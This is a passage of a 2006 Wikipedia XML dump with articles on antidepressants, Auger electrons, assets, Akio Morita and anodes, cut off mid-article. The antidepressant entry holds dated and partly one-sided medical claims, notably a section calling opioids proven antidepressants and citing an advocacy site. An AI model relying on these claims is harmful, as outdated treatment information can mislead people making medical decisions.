* Dan Reed, ''The American Eagle: The Ascent of Bob Crandall and American Airlines'' (St. Martin's, 1993), ISBN 0312086962
* Robert J. Serling, ''Eagle'' (St. Martin's, 1985), ISBN 0312224532
*''International Directory of Company Histories'', St. James Press.

== External links ==
{{Commons|American Airlines}}
*[http://www.aa.com/ American Airlines]
*[http://www.planespotters.net/Airline/American_Airlines?show=all American Airlines Fleet Detail]
*[http://www.crsmithmuseum.org/ American Airlines C.R. Smith Museum]
*[http://www.airchive.com/SITE%20PAGES/TIMETABLES-AMERICAN.html  Historical timetables and route maps]
*[http://www.americanwaymag.com/ ''American Way''], American's inflight magazine
*[http://members.shaw.ca/fewmiles/AA/index2.html Unofficial Guide to American Airlines AAdvantage] 
*[http://www.flyertalk.com/forum/forumdisplay.php?f=445 American Airlines AAdvantage Forum on FlyerTalk.com]
*[http://www.milemaven.com/offers/program/17/ American Airlines AAdvantage Bonus Miles Promotions]


{{Oneworld}}

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[[Category:Fort Worth, Texas]]

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  </page>
  <page>
    <title>Antidepressant</title>
    <id>2388</id>
    <revision>
      <id>42036550</id>
      <timestamp>2006-03-03T10:28:40Z</timestamp>
      <contributor>
        <username>Lifeartist</username>
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      <text xml:space="preserve">An '''antidepressant''' is a [[medication]] designed to treat or alleviate the symptoms of [[clinical depression]]. Some antidepressants, notably the [[tricyclic antidepressant|tricyclics]], are commonly used [[off-label use|off-label]] in the treatment of [[neuropathy|neuropathic pain]], whether or not the patient is depressed. Smaller doses are generally used for this purpose, and they often take effect more quickly. Many antidepressants also are used for the treatment of [[anxiety disorder]]s, and tricyclic antidepressants are used in the treatment of [[chronic pain]] disorders such as [[chronic functional abdominal pain]] (CFAP), [[myofascial pain syndrome]], and [[post-herpetic neuralgia]].

The main classes of antidepressants have similar efficacy, but the newer types are generally regarded to have a more benign side-effect profile and less risk of lethality if taken in overdose.

== History ==
Like many psychiatric drugs, antidepressants were discovered by accident. The first usefull antidepressants, belonged to a group called Monoamine Oxidase Inhibitors and were discovered in the early 1950's. The original member of this group was Iproniazid. It was originally developed as a drug to treat tuberculosis. The next group were the Tricyclic antidepressants. The first was Imipramine. They were effective and safer than the MAOI but still quite dangerous in overdose. They are still used to-day but have been largely replaced by another group. This most recent group are called SSRI's, '''S'''elective '''S'''erotonin '''R'''euptake '''I'''nhibitors. The first SSRI was fluoxetine (Prozac). Drugs from all three groups have been found to improve the depressed patients' mood. 
The SSRI antidepressants were early examples of [[rational drug design]].

==Classes and members==
{{Antidepressants}}
=== Classes ===
{{further|[[List of antidepressants]]}}

* [[Monoamine oxidase inhibitor]]s (MAOIs)
* [[Tricyclic antidepressant]]s
* [[Selective serotonin reuptake inhibitor]]s (SSRIs)
* [[Serotonin-norepinephrine reuptake inhibitor]]s (SNRIs)
* [[Norepinephrine reuptake inhibitor|Norepinephrine/noradrenaline reuptake inhibitor]]s (NRIs aka NERIs/NARIs)
* [[Dopamine reuptake inhibitor]]s (DRIs)
* [[Opioids]]
* [[Selective serotonin reuptake enhancer]]s (SSREs) &lt;!--Look up tianeptine--&gt;
* [[Novel antidepressant]]s
* [[Tetracyclic antidepressant]]s
* [[Norepinephrine reuptake inhibitor]]s

=== Prominent members ===
Well-known antidepressants are:
* [[Fluoxetine]] - of the [[SSRI]] class (Prozac, Sarafem, Fluctin, Fontex, Prodep, Fludep, Lovan)
* [[Sertraline]] - of the [[SSRI]] class (Zoloft, Lustral, Apo-Sertral, Asentra, Gladem, Serlift, Stimuloton)
* [[Venlafaxine]] - of the [[SNRI]] class (Effexor)
* [[Citalopram]] - of the [[SSRI]] class (Celexa, Cipramil, Talohexane)
* [[Paroxetine]] - of the [[SSRI]] class (Paxil, Seroxat, Aropax)
* [[Escitalopram]] - of the [[SSRI]] class (Lexapro, Cipralex)
* [[Fluvoxamine]] - of the [[SSRI]] class (Luvox, Faverin)
* [[Duloxetine]] - of the [[SNRI]] class (Cymbalta)
* [[Bupropion]] - of the [[DRI]] class (Wellbutrin, Zyban)

==Mechanism of action==
The therapeutic effects of antidepressants are believed to be related to an effect on [[neurotransmitter]]s, particularly by inhibiting the [[monoamine transporter]] proteins of [[serotonin]] and [[norepinephrine]]. [[Selective serotonin reuptake inhibitor]]s (SSRIs) specifically prevent the reuptake of serotonin (thereby increasing the level of serotonin in [[synapse|synapses]] of the [[brain]]), whereas earlier [[monoamine oxidase inhibitor]]s (MAOIs) blocked the destruction of neurotransmitters by [[enzyme]]s which normally break them down. Tricyclic antidepressants (TCAs) prevent the reuptake of various [[neurotransmitters]], including [[serotonin]], [[norepinephrine]], and [[dopamine]]. Although these drugs are clearly effective in treating depression, the current theory still leaves unanswered questions. For example, concentrations in the [[blood]] build to therapeutic levels in only a few days and begin affecting neurotransmitter activity immediately. Changes in mood, however, often take four weeks or more to appear. One explanation holds that the &quot;down-regulation&quot; of neurotransmitter [[Transmembrane receptor|receptors]]&amp;mdash;an apparent consequence of excess signaling and a process that takes several weeks&amp;mdash;is actually the mechanism responsible for the alleviation of depressive symptoms. Another theory, based on recent research published by the [[National Institutes of Health]] in the [[United States]], suggests that antidepressants may derive their effects by promoting [[neurogenesis]] in the [[hippocampus]].[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11124987&amp;query_hl=4][http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11137860&amp;query_hl=2]. Recent research suggests that antidepressants act on transcription factors termed &quot;clock genes&quot; [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15994025&amp;query_hl=24], which also are involved in actions of drugs of abuse and possibly in obesity [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16094306&amp;query_hl=27][http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16288309&amp;query_hl=24].

==Treatment strategies==
On efficacy measures, a successful antidepressant trial involves just 50 % or more of the test subjects on the drug responding to the medication. “Response” signifies a mere 50 % or greater reduction in depression symptoms as opposed to “remission,” which indicates a virtual elimination of depression symptoms. A number of different treatment strategies, however, may produce better results:

===Switching===
The [[American Psychiatric Association]] 2000 Practice Guideline for the Treatment of Patients with Major Depressive Disorder advises that where no response is achieved following six to eight weeks of treatment with an antidepressant to switch to an antidepressant in the same class, then to a different class of antidepressant.

A series of open-label studies by Michael Thase MD of the University of Pittsburgh found that more than half the patients who failed on their initial antidepressant achieved a response on their second antidepressant from the same class. (Thase ME et al. &quot;Fluoxetine treatment of patients with major depressive disorder who failed initial treatment with sertraline.&quot; J Clin Psychiatry. 1997 Jan;58(1):16-21.)

A 2002 double-blind study by the same author found a positive benefit among treatment-resistant patients switching either from an SSRI to a tricyclic or from a tricyclic to an SSRI. (Thase ME et al. &quot;Double-blind switch study of imipramine or sertraline treatment of antidepressant-resistant chronic depression.&quot; Arch Gen Psychiatry. 2002 Mar;59(3):233-9.)

===Augmentation and combination===
For a partial response, the American Psychiatric Association advises augmenting an antidepressant with a different pharmaceutical agent. These agents may include [[lithium]], thyroid supplementation, atypical [[antipsychotics]], and dopamine agonists, among others. [[Symbyax]] a combination olanzapine-fluoxetine (Zyprexa-Prozac) pill is approved in the US for treating bipolar depression, and is being investigated for other depression indications. In general, however, there are no major augmentation studies to guide psychiatrists.

Combination strategy involves using two or more antidepressants from different classes to target more than one neurotransmitter in order to hopefully achieve a more beneficial result. Again, this is a little-studied area of antidepressant treatment. (See [http://www.mcmanweb.com/article-180.htm  article].)

===Combining with psychotherapy===
A 2000 study  found that those on nefazadone (Serzone) plus a form of short-term psychotherapy called Cognitive Behavioral Analysis System of Psychotherapy (CBASP) fared significantly better (85 % response, 42 % remission) than those on Serzone alone (55 % response, 22 % remission) or CBASP alone (52 % response, 24 % remission). (Keller MB et al. &quot;A comparison of nefazadone, the cognitive behavioral-analysis system of psychotherapy, and their combination for the treatment of chronic depression.&quot; N Engl J Med. 2000 May 18;342(20):1462-70.)

===Preventing relapse===
A 2003 meta-analysis of 31 placebo-controlled antidepressant trials found that continuing with antidepressants reduced the risk of relapse by 70 %. (Geddes JR et al. &quot;Relapse prevention with antidepressant drug treatment in depressive disorders: a systematic review.&quot; Lancet. 2003 Feb 22;361(9358):653-61.)

The American Psychiatric Association advises four to five months of continuation treatment on an antidepressant following the resolution of symptoms. For patients with a history of depressive episodes, the British Association for Psychopharmacology's 2000 Evidence Based Guidelines for Treating Depressive Disorders with Antidepressants advises remaining on an antidepressant for at least six months and as long as five years or indefinitely.

==Tolerance and dependence==
Antidepressants are not thought to produce [[drug tolerance|tolerance]], although sudden [[withdrawal]] may produce adverse effects. Antidepressants create little if any immediate change in mood and require between several days and several weeks to take effect.

Antidepressants do not seem to have all of the same [[addiction|addictive]] qualities as other substances such as nicotine, caffeine, cocaine, or other [[stimulant]]s. (There is, however, controversy on the definition of ''addiction''.) Some argue that antidepressants do not meet the general requirements for the commonly-established view. While some antidepressants may cause dependence and withdrawal they do not seem to cause uncontrollable urges to increase the dose due to euphoria or pleasure. For example, if an [[Selective serotonin reuptake inhibitor|SSRI]] medication is suddenly discontinued, it may produce both [[withdrawal|somatic]] and [[addiction|psychological withdrawal]] symptoms, a phenomenon known as &quot;SSRI discontinuation syndrome&quot; (Tamam &amp; Ozpoyraz, 2002). When the decision is made to stop taking antidepressants it is common practice to &amp;#8220;wean&amp;#8221; off of them by slowly decreasing the dose over a period of several weeks.

It is generally not a good idea to take antidepressants without a prescription. The selection of an antidepressant and dosage suitable for a certain case and a certain person is a lengthy and complicated process, requiring the knowledge of a professional. Certain antidepressants can initially make depression worse, can induce [[anxiety]], or can make a patient aggressive, dysphoric or acutely [[suicidal]]. In certain cases, an antidepressant can induce a switch from depression to [[mania]] or [[hypomania]], can accelerate and shorten a manic cycle (i.e. promote a rapid-cycling pattern), or can induce the development of [[psychosis]] (or just the re-activation of latent psychosis) in a patient with depression who wasn't psychotic before the antidepressant.

==Side effects==
Antidepressants can often cause [[adverse drug reaction|side effect]]s, and an inability to tolerate these is the most common cause of discontinuing the medication.

===General=== 
Although recent drugs may have fewer side effects, patients sometimes report severe side effects associated with their discontinuation, particularly with [[paroxetine]]. Additionally, a certain percentage of patients do not respond to antidepressant drugs. Another advantage of some newer antidepressants is they can show effects within as few as five days, whereas most take four to six weeks to show a change in mood. However, some studies show that these medications might be even more likely to result in moderate to severe sexual dysfunction.  However, there are medications in trials that appear to show an improved profile in regard to sexual dysfunction and other key side effects. 

MAO inhibitors can produce a lethal hypertensive reaction if taken with foods that contain high levels of [[tyramine]], such as cheese and wine. Likewise, lethal reactions to both prescription and over the counter medications have occurred. Any patient currently undergoing therapy with an MAO inhibiting medication should be monitored closely by the prescribing physician and always consulted before taking an over the counter or prescribed medication. Such patients should also inform emergency room personnel and information should be kept with one's identification indicating the fact that the holder is on MAO inhibiting medications. Some doctors even suggest the use of a medical alert ID bracelet. 

Antidepressants often make the [[mania|manic]] component of [[bipolar disorder]] worse, and should be used with great care in the treatment of that disorder, usually in conjunction with [[mood stabilisers]]. Their use should be monitored by a psychiatrist, but in countries such as [[United Kingdom|Britain]], [[New Zealand]], and the United States, primary care physicians are able to prescribe antidepressants without consulting a psychiatrist. 

In particular, it has been noted that the most dangerous period for [[suicide]] in a patient with depression is immediately after treatment has commenced, as antidepressants may reduce the symptoms of depression such as [[psychomotor retardation]] or lack of motivation before mood starts to improve. Although this appears to be a paradox, studies indicate the suicidal ideation is a relatively common component of the initial phases of antidepressant therapy, and it may be even more prevalent in younger patients such as pre-adolescents and teenagers. It is strongly recommended that other family members and loved ones monitor the young patient's behavior, especially in the first eight weeks of therapy, for any signs of suicidal ideation or behaviors.

===Sexual===
[[Sexual dysfunction]] is a very common side effect, especially with [[Selective serotonin reuptake inhibitor|SSRIs]]. [[Bupropion]], a DRI, in many cases results in a moderately increased libido. Some clinicians have found that adding bupropion to a regimen of SSRI medications can sometimes alleviate some degree of sexual dysfunction. However, the mechanism of action for bupropion appears to be unique and quite different from other mood elevators, among these being a stimulant-like effect and concurrent insomnia, especially in the first few weeks of use. Moreover, some patients, as seen with most psycho-active drugs, cannot tolerate it at all.

==Opioids==
Opium has been known as an antidepressant since Biblical times.[http://opioids.com/red.html] Various [[Opiates]] were commonly used as antidepressants until the mid-1950s, when they fell out of favor with medical orthodoxy due to their addictive nature. A [[clinical trial]] conducted at Harvard Medical School in 1995,[http://opioids.com/buprenorphine/buprefdep.html] demonstrated that a majority of treatment-refractory, unipolar, non[[psychotic]], major depression patients could be successfully treated with an opioid medication called [[Buprenorphine]]. While opioids have been proven to substantially relieve symptoms of depression, re-acceptance of this fact has been severely hampered by governmental narcotic [[Prohibition (drugs)|prohibition]] efforts.

==Controversy==
Several studies have stimulated doubt about the effectiveness of antidepressants. The studies cite that the difference between antidepressants and placebo is negligible. Antidepressants work only slightly better than placebo, and the Food and Drug Administration has not informed physicians of how little benefit most of these depression drugs offer (Kirsch I, Moore TJ, Scoboria A, Nicholls SS (2002a), The emperor's new drugs: an analysis of antidepressant medication data 
submitted to the U.S. Food and Drug Administration. Prevention &amp; Treatment 5:Article 23[http://journals.apa.org/prevention/volume5/toc-jul15-02.html]).

Through a Freedom of Information Act request, two psychologists obtained 47 studies used by the FDA for approval of the six antidepressants prescribed most widely between 1987-99. Overall, antidepressant pills worked 18 % better than placebos, a  statistically significant difference, &quot;but not meaningful for people in clinical settings,&quot; says University of Connecticut  psychologist Irving Kirsch. He and co-author Thomas Moore released their findings in &quot;Prevention and Treatment,&quot; an e-journal of the American Psychological Association.

More than half of the 47 studies found that patients on antidepressants improved no more than those on placebos, Kirsch says. &quot;They should have told the American public about this. The drugs have been touted as much more effective than they are.&quot; He says studies finding no benefit have been mentioned only on labeling for [[Celexa]], the most recently approved drug. The others included in his evaluation: [[Prozac]], [[Paxil]], [[Zoloft]], [[Efexor]] and [[Serzone]].

Additional papers have been published regarding the benefits of atypical vs. typical antidepresants.  These are timely papers given the need for [[Evidence based medicine | evidence based medicine]], as well as the cost of health care.  Discussion of a key paper reviewing this topic titled &quot;Quantitative analysis of sponsorship bias in economic studies of antidepressants&quot; can be found at an [http://journalreview.org/view_pubmed_article.php?pmid=14645020&amp;specialty_id=18 an on line journal club]

==Alternative medicine==
Despite controversy, alternative treatments for depression such as the herbal remedy [[St John's wort]] and the amino acid derivative [[S-adenosyl methionine|SAM-e]] have also gained popularity in recent years, although their effectiveness varies.  Clinical trials have shown SAM-e to be as effective as standard antidepressant medication, with many fewer side effects (Delle Chiaie et al., 2002; Mischoulon and Fava, 2002).  Most studies conclude that St. John's wort is usually as effective against depressions as other modern medication, again with fewer side effects, and it is widely prescribed for depression in [[Europe]].  However, a recent study showed St. John's wort to be no more effective than a placebo in cases of severe depression (Hypericum Depression Trial Study Group, 2002).  [[Tryptophan]] dietary supplements, although banned in many countries due to impurities that caused a blood disease, have also been used as natural antidepressants. Dietary supplements of [[5-HTP]], a chemical the body forms from tryptophan and uses to make serotonin, have shown some promising research results but need further study.

==References==
* Roberto Delle Chiaie, Paolo Pancheri and Pierluigi Scapicchio. (2002). Efficacy and tolerability of oral and intramuscular S-adenosyl- L-methionine 1,4-butanedisulfonate (SAMe) in the treatment of major depression: comparison with imipramine in 2 multicenter studies.  Am J Clin Nutr, 76 (5): 1172S-1176S
* Mischoulon D, Fava M. (2002). Role of S-adenosyl-L-methionine in the treatment of depression: a review of the evidence. Am J Clin Nutr, 76 (5): 1158S-61S.
* Hypericum Depression Trial Study Group (2002). Effect of Hypericum perforatum (St John's Wort) in Major Depressive Disorder: A Randomized Controlled Clinical Trial. JAMA, 287 (14):1807-1814.

==External links==
* [http://www.drada.org/ReferenceShelf/goldstein.html Pharmacological treatment of Mood Disorder]
* [http://www.emental-health.com/depr_history.htm#1950s A brief history of depression - 1950s]
* [http://www.emental-health.com/depr_treatment.htm#antidepressantdrugs Treating depression - Antidepressant drugs]
* [http://www.nih.gov/news/pr/aug2003/nimh-07.htm Creation of New Neurons Critical to Antidepressant Action in Mice]
* [http://cerhr.niehs.nih.gov/chemicals/fluoxetine/fluoxetine_final.pdf NIH Expert Panel Report on the reproductive and developmental toxicology of Prozac (Fluoxetine)]
* [http://cerhr.niehs.nih.gov/chemicals/fluoxetine/fluoxetine_monograph.pdf NIH Monograph on the potential human reproductive and developmental effects of Prozac (Fluoxetine)]
* [http://www.psych.org/psych_pract/treatg/pg/Depression2e.book.cfm American Psychiatric Association 2000 Practice Guideline for the Treatment of Patients with Major Depressive Disorder]
* [http://www.bap.org.uk/consensus/antidepressant.pdf British Association for Psychopharmacology 2000 Evidence Based Guidelines for Treating Depressive Disorders with Antidepressants]

[[Category:Antidepressants| ]]

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  </page>
  <page>
    <title>Auger electron</title>
    <id>2389</id>
    <revision>
      <id>41406971</id>
      <timestamp>2006-02-27T02:58:31Z</timestamp>
      <contributor>
        <username>Dcteas17</username>
        <id>703210</id>
      </contributor>
      <minor />
      <comment>pronunciation error</comment>
      <text xml:space="preserve">'''Auger emission''' (pronounced Oh-jhay) is a phenomenon in [[physics]] in which the emission of an [[electron]] from an [[atom]] causes the emission of a second electron.  This second ejected electron is called an '''Auger electron'''.

The name ''Auger electron'' comes from one of its discoverers, [[Pierre Victor Auger]]. The name does not come from the similarly-named device, the [[auger]].

When an [[electron]] is removed from a core level of an [[atom]], leaving a vacancy, an electron from a higher energy level may fall into the vacancy, resulting in a release of [[energy]]. Although sometimes this energy is released in the form of an emitted [[photon]], the energy can also be transferred to another electron, which is then ejected from the atom. 

Upon ejection the [[kinetic energy]] of the Auger electron corresponds to the difference between the energy of the initial electronic transition and the ionization energy for the shell from which the Auger electron was ejected. These energy levels depend on the type of atom and the chemical environment in which the atom was located. [[Auger electron spectroscopy]] stimulates the emission of Auger electrons by bombarding a sample with either [[X-ray]]s or energetic electrons and measures the intensity of Auger electrons as a function of the Auger electron energy. The resulting spectra can be used to determine the identity of the emitting atoms and some information about their environment.

A similar Auger effect occurs in [[semiconductor]]s. An electron and [[electron hole]] can recombine giving up their energy to an electron in the conduction band, increasing its energy. 

The reverse effect is known as [[impact ionization]].

==History==

The Auger emission process was discovered in the 1920s by [[Lise Meitner]], an Austrian physicist. Subsequently [[Pierre Victor Auger]], a French Physicist, also discovered the process. Auger reported the discovery in the journal ''Radium'' in 1925 and it was Auger that had the process named after him.

[[fr:Électron Auger]]
[[hu:Auger-effektus]]

[[Category:Atomic physics]]
[[Category:Foundational quantum physics]]</text>
    </revision>
  </page>
  <page>
    <title>Asset</title>
    <id>2390</id>
    <revision>
      <id>40897509</id>
      <timestamp>2006-02-23T19:17:37Z</timestamp>
      <contributor>
        <username>IvanLanin</username>
        <id>975372</id>
      </contributor>
      <minor />
      <comment>+id</comment>
      <text xml:space="preserve">:''This article is about the business definition. For the definition as used by intelligence agencies, see [[Asset (Intelligence)]]''
In [[business]] and [[accounting]] an '''asset''' is anything owned which can produce future economic benefit, whether in [[possession]] or by right to take possession, by a person or a group acting together, e.g. a [[types of companies|company]], the measurement of which can be expressed in monetary terms.  Asset is listed on the [[balance sheet]].  It has a [[normal balance]] of [[debit]].  

Similarly, in [[economics]] an asset is any form in which [[wealth]] can be held.

==Classification of assets==
Assets may be classified in many ways. In a company's [[balance sheet]] certain divisions are required by generally accepted accounting principles (GAAP), which vary from country to country.
===US GAAP===
The following is an example of classification according to [[US GAAP]].
====Current assets====
Current assets are cash and other assets expected to be converted to cash, sold, or consumed either in a year or in the operating cycle. These assets are continually turned over in the course of a business during normal business activity. There are 5 major items included into current assets:
# '''Cash''' - it is the most liquid asset, which includes currency, [[bank deposit]]s, and [[negotiable instrument]]s (e.g., money orders, checks, bank drafts). 
# '''Short-term investments''' - include securities bought and held for sale in the near future to generate income on short-term price differences (trading securities).
# '''Receivables''' - usually reported as net of allowance for uncollectible accounts.
# '''[[Inventory]]''' - trading these assets is a normal business of a company. The inventory value reported on the [[balance sheet]] is usually the historical cost or fair market value, whichever is lower. This is known as the &quot;lower of cost or market&quot; rule.
# '''Prepaid expenses''' - these are expenses paid in cash and recorded as assets before they are used or consumed (a common example is insurance). See also [[adjusting entries]].

The phrase ''net current assets'' (also called ''[[working capital]]'') is often used and refers to the total of current assets less the total of current [[liability|liabilities]].

====Long-term investments====
Often referred to simply as &quot;investments.&quot; Long-term investments are to be held for many years and are not intended to be disposed in the near future. This group usually consists of four types of investments:
# Investments in securities, such as bonds, common stock, or long-term notes.
# Investments in fixed assets not used in operations (e.g., land held for sale).
# Investments in special funds (e.g., sinking funds or pension funds).
# Investments in subsidiaries or affiliated companies.

====Fixed assets====
Also referred to as PPE (property, plant, and equipment). Assets which are purchased for continued and long-term use in earning [[profit]] in a business. This group includes [[Land (economics)|land]], [[building]]s, [[machinery]], furniture, tools, wasting resources (timberland, minerals), etc. They are written off against [[profit]]s over their anticipated life by charging [[depreciation]] expenses (with exception of land). Accumulated depreciation is shown in the face of the balance sheet or in the notes.

These are also called [[capital asset]]s in [[management accounting]], especially when [[intangibles]] are considered.

====Intangible assets====
Intangible assets lack physical substance and usually are very hard to evaluate. They include [[patent]]s, [[copyright]]s, [[franchising|franchise]]s, [[goodwill]], [[trademark]]s, trade names, etc. These assets are (according to US GAAP) amortized to expense over 5 to 40 years with exception of goodwill.

====Other assets====
This section includes a high variety of assets, most commonly:
*long-term prepaid expenses
*long-term receivables
*intangible assets (if they represent just a very small fraction of total assets)
*property held for sale.
In a lot of cases this section is too general and broad, because assets could be classified into four above categories.

==Definition of asset==

An asset has potential to earn revenue, its value is managed over life cycle and its failure leads to irrecoverable commercial loss. 'Human asset' is a new term for knowledge economy where professionals are not in problem solving mode but in opportunity creation state. For knowledge economy, achievement is not the term; contribution is the key to success. Human asset can assure that. 

Knowledge economy perceives knowledge as the key driver of economic processes. It
involves weaving knowledge acquisition, enhancement and innovation into the fabric of
the organizations operating in the knowledge zone. The professional domain being a
superset of the organizational domain offers limitless opportunities to explore, enhance
and innovate. Presence of an asset stresses on exploration, innovation in the domain space to bring excellence and exhibit the domain spirit for opportunity creation. Every organization is
being faced with a fresh set of challenges and the solution lies in devising newer ways of
harnessing knowledge, leveraging the extended knowledge base to deliver previously
unoffered solutions. The key enabler in such a scenario will be a pool of experts or assets
who by interaction with the industry and commitment to a particular domain will be in a
position to forecast market trends and develop products and, or solutions in line with such
trends. In order to further understand the advantage of opportunity creation against problem
solving we need to understand the key differences between the concepts. Problem
solving, an approach Indian knowledge workers often adopt involves investing in “made
to order” solutions. It is basically a quick-fix, adhoc approach wherein a given problem is
attacked and solved without resort to in depth analysis or study. While the approach does
solve the problem at hand and generates immediate revenue with reduced risk it may not
ensure future business in a similar domain. Since the emphasis is on the problem at hand,
implicit possibilities are overlooked; the whole approach becomes delivery-centric. As
innovation is not encouraged per se creative people are discouraged and lose their
excellence committing their energy towards often performing mundane repetitive tasks.
Opportunity creation on the other hand requires a long term commitment and investment.
Suppose a problem at hand is automating process X for XYZ industry. While problem
solving would stop at automating X, opportunity creation would take this a step further to
study and analyze the domain, to determine if there is equivalent need for automation in
industries operating in similar domain, maybe determine if a customizable solution may
be provided which may then be reused in future to solve such a problem should it recur.

The difference between problem solving and opportunity creation may be likened to the
difference between buying and renting a house: one aims at creation of a permanent asset
that may be a source of potential income, the other devises a low risk, low gain solution
that in the long run kills the more important aim of building the house.
Opportunity creation requires expertise, skill and commitment, it calls for the creation of
a pool of experts with their key specializations who are conscious of the industry at large,
who can utilize their awareness to unlock new avenues of earning revenue. 

Human Assets are a set of motivated and talented individuals, build them up through the various stages so that they may become rain makers in the industry perceiving and tackling new challenges and creating opportunities, the worth of which may be judged in the open competitive space of knowledge intensive industries.

==See also==
*[[Asset valuation]]
*[[Asset management]]
*[[Balance sheet]]
*[[Financial markets]]
*[[Gold as an investment]]
*[[Liability]]
*[[Lists of corporate assets]]
*[[Real estate]]
*''[[Rich Dad, Poor Dad]]''
*[[Share (finance)]]

==External links==
* [http://www.greekshares.com/asset.asp Understand Your Assets]

{{Economicsfooter}}

[[Category:Accounting]]

[[da:Aktiv]]
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  </page>
  <page>
    <title>Akio Morita</title>
    <id>2391</id>
    <revision>
      <id>37843652</id>
      <timestamp>2006-02-02T14:12:40Z</timestamp>
      <contributor>
        <ip>218.171.124.218</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Akio Morita.jpg|right|150px]]
'''Akio Morita''' (&amp;#30427;&amp;#30000;&amp;#26157;&amp;#22827; ''Morita Akio'', [[January 26]], [[1921]] in [[Nagoya, Japan]] - [[October 3]], [[1999]] in [[Tokyo]]) was a co-founder of [[Sony]] Corporation.

Trained as a physicist, Morita was an officer in the Japanese [[navy]] during [[World War II]].  His family was involved in [[sake]] production. He met [[Masaru Ibuka]] in the [[Wartime Research Committee]]; on [[May 7]], [[1946]], they founded [[Tokyo Tsushin Kogyo K.K]]. (Tokyo Telecommunications Engineering Corporation, later [[Sony]]) with approximately 20 employees and initial capital of 190,000 yen. Ibuka was 38 years old at the time and Morita was 25.

In [[1949]] the company developed magnetic recording tape and in [[1950]] sold the first tape recorder in [[Japan]]. In [[1957]] it produced a pocket-sized [[radio]] and a year later renamed itself Sony (sonus is [[Latin]] for [[sound]], and ''Sonny-boys'' is Japanese [[slang]] for &quot;[[whiz kid]]s&quot;). In [[1960]] it produced the first [[transistor]] [[television]] in the world. 

In [[1961]] Sony Corporation of America was the first Japanese company to be listed on the [[New York Stock Exchange]]. In [[1989]] Sony bought [[Columbia Pictures]].

In the early 1990's, he was famous for co-authoring an essay ''[[The Japan that Can Say No]]'' with politician [[Shintaro Ishihara]], which was critical of United States business practices, and encouraged Japanese to take a more independent role in business and foreign affairs.

On [[November 25]], [[1994]], Morita announced his resignation as Sony chairman, after suffering a [[cerebral hemorrhage]] while playing [[tennis]]. His successor, [[Norio Ohga]], had joined the company after sending Morita a letter denouncing the poor quality of the company's tape recorders.

Morita also wrote a book called ''[[Never Mind School Records]]'' in the '60s, which stressed that school records are not important in one's success or ability to do business. He was also Vice Chairman of the [[Keidanren]] ([[Japan Federation of Economic Organizations]]) and was a member of the [[Japan-U.S. Economic Relations Group]], (also known as the &quot;[[Wise Men's Group]]&quot;).

He was awarded the [[Albert Medal]] from the [[United Kingdom]]'s [[Royal Society of Arts]] in 1982; he was the first Japanese to receive the honour. Two years later, he received the prestigious [[Légion d'honneur | National Order of the Legion of Honor]] and in 1991, he was awarded the [[First Class Order of the Sacred Treasure]] from H. M. the Emperor of Japan.

He died of [[pneumonia]] at the age of 78.

==External links==
* [http://www.time.com/time/time100/builder/profile/morita.html Time magazine profile]
* [http://www.sony.com/SCA/press/morita_bio.shtml Sony Biographical notes]
* [http://www.pbs.org/transistor/album1/addlbios/morita.html PBS notes]
* [http://www.worldofbiography.com/9078%2DAkio%20Morita/ - Full Biography at World of Biography]

==Further reading==
* Morita, Akio. ''Made in Japan'' (New York: Dutton, 1986)
* Morita, Akio. ''Never Mind School Records'' (??, 1966)
* Morita, Akio (Co-Author) and Shintaro Ishihara. ''The Japan That Can Say No'' (Simon &amp; Schuster, 1991)

{{commons|Sony}}

[[Category:1921 births|Morita, Akio]]
[[Category:1999 deaths|Morita, Akio]]
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[[Category:Japanese entrepreneurs|Morita, Akio]]
[[Category:Sony people|Morita, Akio]]
[[Category:Knights Commander of the British Empire|Morita, Akio]]

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  </page>
  <page>
    <title>Anode</title>
    <id>2392</id>
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      <id>41643123</id>
      <timestamp>2006-02-28T19:17:52Z</timestamp>
      <contributor>
        <username>Heron</username>
        <id>2954</id>
      </contributor>
      <comment>corrected polarity of electrolytic cell</comment>
      <text xml:space="preserve">[[Image:Zinc anode.png|thumb|Diagram of a [[zinc]] anode in a [[galvanic cell|Daniell's cell]].]]

An '''anode''' (from the [[Greek language|Greek]] ''άνοδος'' = 'going up') is the [[electrode]] in a device that electrons flow out of to return to the circuit.  Literally, the path through which the [[electron]]s ascend out of an [[electrolyte]] solution. The other charged electrode in the same cell or device is the [[cathode]].  For electrons to flow through the anode, a positive charge is applied to the anode (attracting electrons).

== Flow of electrons ==
The flow of electrons is '''always''' from '''''anode–to–cathode''''' '''outside''' of the cell or device, and from '''''cathode–to–anode''''' '''inside''' the cell or device, regardless of the cell or device type.  Inside a chemical cell, ions are carrying the electrons, but the flow is still from '''''cathode–to–anode''''' '''inside''' the cell.
Note that most [[electronics|electronic]] circuit diagrams, and their symbols for diodes and transistors, show &quot;conventional&quot; current, which flows from positive to negative, but the actual '''electrons''' in the circuit flow the '''OPPOSITE''' way.

== Electrolytic anode ==
In [[electrochemistry]], the '''anode''' is where [[oxidation]] occurs, and is the positive polarity contact in an [[electrolytic cell]]. At the anode, anions are forced by the electrical potential to react chemically and give off electrons (oxidation) which then flow up and into the driving circuit.

== Battery or galvanic cell anode ==
In a [[battery (electricity)|battery]] or [[galvanic cell]], the anode is the negative contact from which electrons flow towards the circuit. Internally the anions are flowing to the anodic material inside the cell which is connected to the negative contact of the cell; but, external to the cell in the circuit, electrons are being pushed out through the negative contact and thus through the circuit by the voltage potential of the cell.

== Vacuum tube anode ==
In electronic vacuum devices such as a [[cathode ray tube]], the anode is the positively-charged electron collector.  In a tube, the anode is a charged positive plate that collects the electrons emitted by the cathode through electric attraction. 

== Diode anode ==
